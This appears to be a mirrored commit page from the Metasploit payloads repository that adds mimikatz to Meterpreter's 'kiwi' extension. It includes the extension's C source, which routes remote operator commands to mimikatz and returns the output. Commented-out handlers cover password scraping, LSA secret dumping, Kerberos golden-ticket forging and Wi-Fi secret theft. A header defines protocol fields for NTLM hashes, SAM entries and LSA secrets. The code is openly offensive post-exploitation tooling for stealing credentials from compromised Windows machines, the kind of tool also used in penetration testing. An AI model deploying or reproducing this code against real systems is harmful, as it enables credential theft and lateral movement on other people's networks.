1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-06 09:13:02 +01:00

Add mimikatz submodule with MSF changes

This includes a few changes that are in an open branch waiting to be
merged into the mimikatz source.
This commit is contained in:
OJ 2016-08-02 19:07:34 +10:00
parent a31b16452c
commit ffc9c1d37a
No known key found for this signature in database
GPG Key ID: D5DC61FB93260597
7 changed files with 1074 additions and 426 deletions

3
.gitmodules vendored

@ -4,3 +4,6 @@
[submodule "deps"]
path = c/meterpreter/deps
url = https://github.com/rapid7/meterpreter-deps
[submodule "c/meterpreter/source/extensions/kiwi/mimikatz"]
path = c/meterpreter/source/extensions/kiwi/mimikatz
url = https://github.com/OJ/mimikatz

@ -0,0 +1,293 @@
/*!
* @file main.c
* @brief Entry point for the kiwi extension.
*/
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
// this sets the delay load hook function, see DelayLoadMetSrv.h
EnableDelayLoadMetSrv();
#include "main.h"
extern __declspec(dllexport) wchar_t * powershell_reflective_mimikatz(LPWSTR input);
extern LONG mimikatz_initOrClean(BOOL Init);
DWORD request_exec_cmd(Remote *remote, Packet *packet);
//DWORD request_scrape_passwords(Remote *remote, Packet *packet);
//DWORD request_kerberos_golden_ticket_create(Remote *remote, Packet *packet);
//DWORD request_kerberos_ticket_use(Remote *remote, Packet *packet);
//DWORD request_kerberos_ticket_purge(Remote *remote, Packet *packet);
//DWORD request_kerberos_ticket_list(Remote *remote, Packet *packet);
//DWORD request_lsa_dump_secrets(Remote *remote, Packet *packet);
//DWORD request_wifi_profile_list(Remote *remote, Packet *packet);
/*! @brief The enabled commands for this extension. */
Command customCommands[] =
{
COMMAND_REQ("kiwi_exec_cmd", request_exec_cmd),
//COMMAND_REQ("kiwi_scrape_passwords", request_scrape_passwords),
//COMMAND_REQ("kiwi_kerberos_ticket_use", request_kerberos_ticket_use),
//COMMAND_REQ("kiwi_kerberos_golden_ticket_create", request_kerberos_golden_ticket_create),
//COMMAND_REQ("kiwi_kerberos_ticket_purge", request_kerberos_ticket_purge),
//COMMAND_REQ("kiwi_kerberos_ticket_list", request_kerberos_ticket_list),
//COMMAND_REQ("kiwi_lsa_dump_secrets", request_lsa_dump_secrets),
//COMMAND_REQ("kiwi_wifi_profile_list", request_wifi_profile_list),
COMMAND_TERMINATOR
};
/*!
* @brief Handler for the generic command execution function.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the incoming packet.
* @returns \c ERROR_SUCCESS
*/
DWORD request_exec_cmd(Remote *remote, Packet *packet)
{
DWORD result = ERROR_SUCCESS;
Packet * response = packet_create_response(packet);
wchar_t* cmd = packet_get_tlv_value_wstring(packet, TLV_TYPE_KIWI_CMD);
if (cmd != NULL)
{
dprintf("[KIWI] Executing command: %S", cmd);
wchar_t* output = powershell_reflective_mimikatz(cmd);
if (output != NULL)
{
packet_add_tlv_wstring(response, TLV_TYPE_KIWI_CMD_RESULT, output);
}
else
{
result = ERROR_OUTOFMEMORY;
}
free(cmd);
}
else
{
result = ERROR_INVALID_PARAMETER;
}
dprintf("[KIWI] Dumped, transmitting response.");
packet_transmit_response(result, remote, response);
dprintf("[KIWI] Done.");
return ERROR_SUCCESS;
}
/*!
* @brief Handler for the lsa dump secrets message.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the incoming packet.
* @returns \c ERROR_SUCCESS
*/
//DWORD request_lsa_dump_secrets(Remote *remote, Packet *packet)
//{
// DWORD result;
// Packet * response = packet_create_response(packet);
//
// dprintf("[KIWI LSA] Dumping LSA Secrets");
//
// result = mimikatz_lsa_dump_secrets(response);
//
// dprintf("[KIWI LSA] Dumped, transmitting response.");
// packet_transmit_response(result, remote, response);
// dprintf("[KIWI LSA] Done.");
//
// return ERROR_SUCCESS;
//}
/*!
* @brief Handler for the use kerberos ticket message.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the incoming packet.
* @returns \c ERROR_SUCCESS
*/
//DWORD request_kerberos_ticket_use(Remote *remote, Packet *packet)
//{
// Packet * response = packet_create_response(packet);
// DWORD result = ERROR_INVALID_PARAMETER;
// Tlv ticketTlv;
//
// result = packet_get_tlv(packet, TLV_TYPE_KIWI_KERB_TKT_RAW, &ticketTlv);
//
// if (result == ERROR_SUCCESS)
// {
// dprintf("[KIWI] Ticket size: %u bytes", ticketTlv.header.length);
// result = mimikatz_kerberos_ticket_use(ticketTlv.buffer, ticketTlv.header.length);
// }
// else
// {
// dprintf("[KIWI] Failed to get ticket content");
// }
//
// packet_transmit_response(result, remote, response);
//
// return result;
//}
/*!
* @brief Handler for the create golden kerberos ticket message.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the incoming packet.
* @returns \c ERROR_SUCCESS
*/
//DWORD request_kerberos_golden_ticket_create(Remote *remote, Packet *packet)
//{
// DWORD dwResult;
// Packet * response = packet_create_response(packet);
// DWORD dwGroupCount = 0;
// DWORD* pdwGroups = NULL;
// Tlv groupIdTlv;
// char* user = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_USER);
// char* domain = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_DOMAIN);
// char* sid = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_SID);
// char* tgt = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_TGT);
// DWORD userId = packet_get_tlv_value_uint(packet, TLV_TYPE_KIWI_GOLD_USERID);
//
// if (!user || !domain || !sid || !tgt)
// {
// dwResult = ERROR_INVALID_PARAMETER;
// }
// else
// {
// while (packet_enum_tlv(packet, dwGroupCount, TLV_TYPE_KIWI_GOLD_GROUPID, &groupIdTlv) == ERROR_SUCCESS)
// {
// pdwGroups = (DWORD*)realloc(pdwGroups, sizeof(DWORD) * (dwGroupCount + 1));
//
// if (!pdwGroups)
// {
// BREAK_WITH_ERROR("Unable to allocate memory for groups", ERROR_OUTOFMEMORY);
// }
//
// pdwGroups[dwGroupCount++] = htonl(*(UINT*)groupIdTlv.buffer);
// }
//
// dwResult = mimikatz_kerberos_golden_ticket_create(user, domain, sid, tgt, userId, pdwGroups, dwGroupCount, response);
// }
//
// packet_transmit_response(dwResult, remote, response);
//
// return ERROR_SUCCESS;
//}
/*!
* @brief Handler for the list kerberos tickets message.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the incoming packet.
* @returns \c ERROR_SUCCESS
*/
//DWORD request_kerberos_ticket_list(Remote *remote, Packet *packet)
//{
// DWORD result;
// Packet * response = packet_create_response(packet);
// BOOL bExport = packet_get_tlv_value_bool(packet, TLV_TYPE_KIWI_KERB_EXPORT);
//
// result = mimikatz_kerberos_ticket_list(bExport, response);
//
// packet_transmit_response(result, remote, response);
//
// return ERROR_SUCCESS;
//}
/*!
* @brief Handler for the purge current kerberos tickets message.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the incoming packet.
* @returns \c ERROR_SUCCESS
*/
//DWORD request_kerberos_ticket_purge(Remote *remote, Packet *packet)
//{
// DWORD result = mimikatz_kerberos_ticket_purge();
//
// dprintf("[KIWI] Purging kerberos tickets (if present)");
//
// packet_transmit_empty_response(remote, packet, result);
//
// return ERROR_SUCCESS;
//}
/*!
* @brief Handler for the password scraping message.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the incoming packet.
* @returns \c ERROR_SUCCESS
*/
//DWORD request_scrape_passwords(Remote *remote, Packet *packet)
//{
// DWORD result;
// Packet * response = packet_create_response(packet);
// UINT pwdId = packet_get_tlv_value_uint(packet, TLV_TYPE_KIWI_PWD_ID);
//
// dprintf("[KIWI] Pwd ID: %u", pwdId);
//
// result = mimikatz_scrape_passwords(pwdId, response);
// packet_transmit_response(result, remote, response);
//
// return ERROR_SUCCESS;
//}
/*!
* @brief Handler for request to list all wifi profiles/secrets.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the incoming packet.
* @returns \c ERROR_SUCCESS
*/
//DWORD request_wifi_profile_list(Remote *remote, Packet *packet)
//{
// DWORD result;
// Packet * response = packet_create_response(packet);
//
// result = mimikatz_wifi_profile_list(response);
// packet_transmit_response(result, remote, response);
//
// return ERROR_SUCCESS;
//}
/*!
* @brief Initialize the server extension.
* @param remote Pointer to the remote instance.
* @return Indication of success or failure.
*/
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
{
hMetSrv = remote->met_srv;
dprintf("[KIWI] Init server extension - initorclean");
mimikatz_initOrClean(TRUE);
dprintf("[KIWI] Init server extension - register");
command_register_all(customCommands);
dprintf("[KIWI] Init server extension - done");
return ERROR_SUCCESS;
}
/*!
* @brief Deinitialize the server extension.
* @param remote Pointer to the remote instance.
* @return Indication of success or failure.
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
mimikatz_initOrClean(FALSE);
command_deregister_all(customCommands);
return ERROR_SUCCESS;
}
/*!
* @brief Get the name of the extension.
* @param buffer Pointer to the buffer to write the name to.
* @param bufferSize Size of the \c buffer parameter.
* @return Indication of success or failure.
*/
DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize)
{
strncpy_s(buffer, bufferSize, "kiwi", bufferSize - 1);
return ERROR_SUCCESS;
}

@ -0,0 +1,88 @@
/*!
* @file main.h
* @brief TLV related bits for the KIWI extension.
*/
#ifndef _METERPRETER_SOURCE_EXTENSION_KIWI_KIWI_H
#define _METERPRETER_SOURCE_EXTENSION_KIWI_KIWI_H
#include "../../common/common.h"
#define TLV_TYPE_EXTENSION_KIWI 0
#define KIWI_PWD_ID_SEK_ALLPASS ((UINT)0)
#define KIWI_PWD_ID_SEK_WDIGEST ((UINT)1)
#define KIWI_PWD_ID_SEK_MSV ((UINT)2)
#define KIWI_PWD_ID_SEK_KERBEROS ((UINT)3)
#define KIWI_PWD_ID_SEK_TSPKG ((UINT)4)
#define KIWI_PWD_ID_SEK_LIVESSP ((UINT)5)
#define KIWI_PWD_ID_SEK_SSP ((UINT)6)
#define KIWI_PWD_ID_SEK_DPAPI ((UINT)7)
#define TLV_TYPE_KIWI_PWD_ID MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 1)
#define TLV_TYPE_KIWI_PWD_RESULT MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 2)
#define TLV_TYPE_KIWI_PWD_USERNAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 3)
#define TLV_TYPE_KIWI_PWD_DOMAIN MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 4)
#define TLV_TYPE_KIWI_PWD_PASSWORD MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 5)
#define TLV_TYPE_KIWI_PWD_AUTH_HI MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 6)
#define TLV_TYPE_KIWI_PWD_AUTH_LO MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 7)
#define TLV_TYPE_KIWI_PWD_LMHASH MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 8)
#define TLV_TYPE_KIWI_PWD_NTLMHASH MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 9)
#define TLV_TYPE_KIWI_GOLD_USER MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 10)
#define TLV_TYPE_KIWI_GOLD_DOMAIN MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 11)
#define TLV_TYPE_KIWI_GOLD_SID MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 12)
#define TLV_TYPE_KIWI_GOLD_TGT MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 13)
#define TLV_TYPE_KIWI_GOLD_USERID MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 14)
#define TLV_TYPE_KIWI_GOLD_GROUPID MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 15)
#define TLV_TYPE_KIWI_LSA_VER_MAJ MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 20)
#define TLV_TYPE_KIWI_LSA_VER_MIN MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 21)
#define TLV_TYPE_KIWI_LSA_COMPNAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 22)
#define TLV_TYPE_KIWI_LSA_SYSKEY MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 23)
#define TLV_TYPE_KIWI_LSA_KEYCOUNT MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 24)
#define TLV_TYPE_KIWI_LSA_KEYID MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 25)
#define TLV_TYPE_KIWI_LSA_KEYIDX MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 26)
#define TLV_TYPE_KIWI_LSA_KEYVALUE MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 27)
#define TLV_TYPE_KIWI_LSA_NT6KEY MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 28)
#define TLV_TYPE_KIWI_LSA_NT5KEY MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 29)
#define TLV_TYPE_KIWI_LSA_SECRET MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 35)
#define TLV_TYPE_KIWI_LSA_SECRET_NAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 36)
#define TLV_TYPE_KIWI_LSA_SECRET_SERV MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 37)
#define TLV_TYPE_KIWI_LSA_SECRET_NTLM MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 38)
#define TLV_TYPE_KIWI_LSA_SECRET_CURR MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 39)
#define TLV_TYPE_KIWI_LSA_SECRET_CURR_RAW MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 40)
#define TLV_TYPE_KIWI_LSA_SECRET_OLD MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 41)
#define TLV_TYPE_KIWI_LSA_SECRET_OLD_RAW MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 42)
#define TLV_TYPE_KIWI_LSA_SAM MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 50)
#define TLV_TYPE_KIWI_LSA_SAM_RID MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 51)
#define TLV_TYPE_KIWI_LSA_SAM_USER MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 52)
#define TLV_TYPE_KIWI_LSA_SAM_LMHASH MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 53)
#define TLV_TYPE_KIWI_LSA_SAM_NTLMHASH MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 54)
#define TLV_TYPE_KIWI_KERB_EXPORT MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 60)
#define TLV_TYPE_KIWI_KERB_TKT MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 61)
#define TLV_TYPE_KIWI_KERB_TKT_ENCTYPE MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 62)
#define TLV_TYPE_KIWI_KERB_TKT_START MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 63)
#define TLV_TYPE_KIWI_KERB_TKT_END MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 64)
#define TLV_TYPE_KIWI_KERB_TKT_MAXRENEW MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 65)
#define TLV_TYPE_KIWI_KERB_TKT_SERVERNAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 66)
#define TLV_TYPE_KIWI_KERB_TKT_SERVERREALM MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 67)
#define TLV_TYPE_KIWI_KERB_TKT_CLIENTNAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 68)
#define TLV_TYPE_KIWI_KERB_TKT_CLIENTREALM MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 69)
#define TLV_TYPE_KIWI_KERB_TKT_FLAGS MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 70)
#define TLV_TYPE_KIWI_KERB_TKT_RAW MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 71)
#define TLV_TYPE_KIWI_WIFI_INT MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 75)
#define TLV_TYPE_KIWI_WIFI_INT_GUID MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 76)
#define TLV_TYPE_KIWI_WIFI_INT_STATE MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 77)
#define TLV_TYPE_KIWI_WIFI_INT_DESC MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 78)
#define TLV_TYPE_KIWI_WIFI_PROFILE MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 79)
#define TLV_TYPE_KIWI_WIFI_PROFILE_NAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 80)
#define TLV_TYPE_KIWI_WIFI_PROFILE_XML MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 81)
#define TLV_TYPE_KIWI_CMD MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 100)
#define TLV_TYPE_KIWI_CMD_RESULT MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 101)
#endif

@ -0,0 +1 @@
Subproject commit 872d82205bb2c2c720818972efbd0158e0f406c2

@ -465,9 +465,11 @@ static BOOL server_destroy_ssl(Transport* transport)
dprintf("[SERVER] Destroying SSL");
lock_acquire(transport->lock);
dprintf("[SERVER] Freeing ssl %p", ctx->ssl);
SSL_free(ctx->ssl);
dprintf("[SERVER] Freeing context %p", ctx->ctx);
SSL_CTX_free(ctx->ctx);
CRYPTO_set_locking_callback(NULL);
@ -475,15 +477,19 @@ static BOOL server_destroy_ssl(Transport* transport)
CRYPTO_set_dynlock_create_callback(NULL);
CRYPTO_set_dynlock_lock_callback(NULL);
CRYPTO_set_dynlock_destroy_callback(NULL);
dprintf("[SERVER] Destroying locks");
for (i = 0; i < CRYPTO_num_locks(); i++)
{
lock_destroy(ssl_locks[i]);
}
dprintf("[SERVER] Freeing locks %p", ssl_locks);
free(ssl_locks);
lock_release(transport->lock);
lock_release(transport->lock);
dprintf("[SERVER] Finished destroying SSL");
return TRUE;
}
@ -510,7 +516,8 @@ static BOOL server_negotiate_ssl(Transport* transport)
ctx->ctx = SSL_CTX_new(ctx->meth);
SSL_CTX_set_mode(ctx->ctx, SSL_MODE_AUTO_RETRY);
ctx->ssl = SSL_new(ctx->ctx);
ctx->ssl = SSL_new(ctx->ctx);
dprintf("[SERVER] SSL = %p", ctx->ssl);
SSL_set_verify(ctx->ssl, SSL_VERIFY_NONE, NULL);
if (SSL_set_fd(ctx->ssl, (int)ctx->fd) == 0)

@ -101,7 +101,7 @@
<ClCompile>
<Optimization>MinSpace</Optimization>
<IntrinsicFunctions>true</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\source\extensions\kiwi\inc;..\..\source\ReflectiveDLLInjection\common;..\..\deps\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories>..\..\source\extensions\kiwi\mimikatz\inc;..\..\source\ReflectiveDLLInjection\common;..\..\deps\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_KIWI_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
@ -120,9 +120,9 @@
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<AdditionalDependencies>ws2_32.lib;version.lib;samlib.lib;advapi32.hash.lib;backcompat.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalDependencies>advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;msxml2.lib;netapi32.lib;ntdsapi.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;wldap32.lib;advapi32.hash.lib;ntdll.min.lib;netapi32.min.lib;backcompat.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>
<OutputFile>$(OutDir)$(TargetName)$(TargetExt)</OutputFile>
<AdditionalLibraryDirectories>..\..\source\extensions\kiwi\lib\Win32;..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<AdditionalLibraryDirectories>..\..\source\extensions\kiwi\mimikatz\lib\Win32;..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile>
@ -152,7 +152,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ClCompile>
<Optimization>MinSpace</Optimization>
<IntrinsicFunctions>true</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\source\extensions\kiwi\inc;..\..\source\ReflectiveDLLInjection\common;..\..\deps\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories>..\..\source\extensions\kiwi\mimikatz\inc;..\..\source\ReflectiveDLLInjection\common;..\..\deps\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_KIWI_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
@ -171,9 +171,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<AdditionalDependencies>ws2_32.lib;version.lib;samlib.lib;advapi32.hash.lib;backcompat.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalDependencies>advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;msxml2.lib;netapi32.lib;ntdsapi.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;wldap32.lib;advapi32.hash.lib;ntdll.min.lib;netapi32.min.lib;backcompat.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>
<OutputFile>$(OutDir)$(TargetName)$(TargetExt)</OutputFile>
<AdditionalLibraryDirectories>..\..\source\extensions\kiwi\lib\Win32;..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<AdditionalLibraryDirectories>..\..\source\extensions\kiwi\mimikatz\lib\Win32;..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile>
@ -206,7 +206,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ClCompile>
<Optimization>MinSpace</Optimization>
<IntrinsicFunctions>true</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\source\extensions\kiwi\inc;..\..\source\ReflectiveDLLInjection\common;..\..\deps\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories>..\..\source\extensions\kiwi\mimikatz\inc;..\..\source\ReflectiveDLLInjection\common;..\..\deps\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_KIWI_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
@ -226,9 +226,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<AdditionalDependencies>ws2_32.lib;version.lib;samlib.lib;advapi32.hash.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>
